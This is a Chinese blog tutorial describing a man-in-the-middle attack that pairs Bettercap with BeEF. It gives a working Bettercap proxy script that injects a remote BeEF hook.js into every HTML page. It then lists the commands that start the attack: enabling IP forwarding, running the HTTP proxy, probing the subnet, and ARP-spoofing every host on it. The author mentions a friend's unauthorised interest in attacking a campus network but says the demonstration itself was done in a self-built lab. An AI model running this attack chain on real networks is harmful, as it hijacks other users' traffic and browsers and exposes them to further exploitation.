MITM中间人攻击-Bettercap + beef xss的组合拳
0x01 写在前面
好几年没有接触过安全了,为什么又接触回来是因为一位朋友,动了对校园网进行内网和WEB渗透测试的心思,咨询了相关老师并未拿到授权,好吧,自己搭环境找一下感觉。
0x02 Bettercap简介
bettercap是一个功能强大、易于扩展和便携的框架,用Go编写,旨在为安全研究人员、红队队员和逆向工程人员提供一个易于使用的一体化解决方案,其中包含执行侦察和攻击WiFi网络、蓝牙低能耗设备所需的所有功能,无线HID设备和IPv4/IPv6网络。
0x02.1 主要特点
-
WiFi网络扫描、反认证攻击、无客户端PMKID关联攻击和自动WPA/WPA2客户端握手捕获。
-
蓝牙低能耗设备扫描,特征枚举,读写。
-
2.4Ghz无线设备扫描和鼠标点击攻击,通过空中HID帧注入(支持DuckyScript)。
-
被动和主动IP网络主机探测和侦察。
-
ARP、DNS、DHCPv6和NDP欺骗,用于对基于IPv4和IPv6的网络进行MITM攻击。
-
包级别、TCP级别和HTTP/HTTPS应用程序级别的代理完全可以通过易于实现的javascript插件编写脚本。
-
一个强大的网络嗅探器,用于获取证书,也可以用作网络协议模糊器。
-
一个非常快速的端口扫描器。
-
一个强大的restapi,支持websocket上的异步事件通知,可以轻松组织攻击。
-
易于使用的web用户界面。
-
等等...
0x02.2 安装
这里我采用官方文档给的编译安装,KALI自带bettercap。
环境要求
- go >= 1.8
go get github.com/bettercap/bettercap
cd $GOPATH/src/github.com/bettercap/bettercap
make build
sudo make install
0x02.3 官方模块
0x02.4 使用
好家伙,Bettercap最新版已经带WebUI了,不过还是喜欢命令交互式。
sudo bettercap -caplet http-ui # 运行bettercap
交互模式下键入help获取帮助信息
0x03 Beef简介
BeEF是浏览器开发框架的缩写。它是一个专注于web浏览器的渗透测试工具。
随着人们越来越担心针对客户端(包括移动客户端)的网络攻击,BeEF允许专业渗透测试人员使用客户端攻击向量来评估目标环境的实际安全态势。与其他安全框架不同,BeEF超越了加固的网络边界和客户机系统,并在一扇打开的门:web浏览器的上下文中检查可利用性。BeEF将钩住一个或多个web浏览器,并将它们用作启动定向命令模块的滩头阵地,并从浏览器上下文中进一步攻击系统。
0x03.1 安装与运行
git clone https://github.com/beefproject/beef.git # git下载beef源码
cd beef-master
sudo ./install # 执行安装程序
./beef # 运行beef GUI
0x04 组合拳开始!
了解了bettercap和beef的安装和基本使用后,我们进入正文。
0x04.1 思路
使用bettercap进行arp欺骗并注入beef的hook js
0x04.2 bettercap操作
用到的模块:
- arp.spoof
- http.proxy
- https.proxy
- net.probe
其中http.proxy
和https.proxy
模块可以使用javascript文件编写模块脚本,且文件必须至少声明以下函数之一:
// 在加载脚本时调用
function onLoad() {
log("Script loaded!");
}
//当代理接收到请求时调用
//在发送到真正的服务器之前
function onRequest(req, res) {
}
//当请求被发送到实际服务器时调用
//收到回复
function onResponse(req, res) {
}
//每次键入未知会话命令时调用,
//代理模块可以选择以下方式处理自定义命令:
function onCommand(cmd) {
if( cmd == "test" ) {
/*
* Custom session command logic here.
*/
// tell the session we handled this command
return true
}
}
0x04.3 改写自己的JS脚本
在进行arp欺骗之前,准备工作改写一个JS脚本方便在bettercap使用http(s).proxy.script
模块
// 未调用beef的hookjs
function onLoad() {
log("Script loaded!");
}
function onResponse(req, res) {
if( res.ContentType.indexOf('text/html') == 0 ){
var body = res.ReadBody();
if( body.indexOf('</head>') != -1 ) {
res.Body = body.replace(
'</head>',
'<script type="text/javascript">' + "\n" +
AbuserJavascript +
'</script>' +
'</head>'
);
}
}
}
// 使用beef的hook js
function onLoad() {
log("Script loaded!");
}
function onResponse(req, res) {
if( res.ContentType.indexOf('text/html') == 0 ){
var body = res.ReadBody();
if( body.indexOf('</head>') != -1 ) {
res.Body = body.replace(
'</head>',
'<script src="beef的hookjs地址"></script>' +
'</head>'
);
}
}
}
将以上文本另保存为eval.js
0x04.4 配置bettercap相关模块参数并开启arp欺骗
在此之前先把beef跑起来,并为bettercap开启流量转发
./beef # 进入到beef目录下执行
echo 1 > /proc/sys/net/ipv4/ip_forward # 流量转发,不开流量转发,导致arp欺骗后受害者出现断网现象
Hook js url: http://10.211.55.4:3000/hook.js
UI URL: http://127.0.0.1:3000/ui/panel
sudo bettercap -caplet http-ui # 运行bettercap
set http.proxy.script /home/crack/eval.js # 刚刚改写的eval.js文件
http.proxy on # 运行http.proxy模块,此模块只劫持http协议
net.probe on # 激活后,此模块将向当前子网中的每个IP发送不同类型的探测数据包,以便net.recon模块来检测它们
arp.spoof on # 开启arp欺骗模块,默认对全网段主机进行arp欺骗,可以使用set arp.spoof.targets 192.168.1.x,欺骗指定目标之后再arp.spoof on
当靶机打开任意http网站就上钩了 ~可以看到bettercap命令交互界面已经有回显,且靶机也在beef上线了
使用beef的Create Alert Dialog
模块测试在线,输入alert text并execute
此时靶机显示如下
0x04.5 遇到的问题
使用bettercap的http.proxy
模块时靶机访问正常,而使用https.proxy
模块时,靶机浏览器显示不受信任的证书,不予访问,目前还没有想到解决方法。
0x05 最后
beef可玩的姿势还很多,比如beef的Clippy模块加上msf的组合拳,这里不再做扩展,各位看官自行展开脑补。
博客安全类的第一篇水文,下次再见!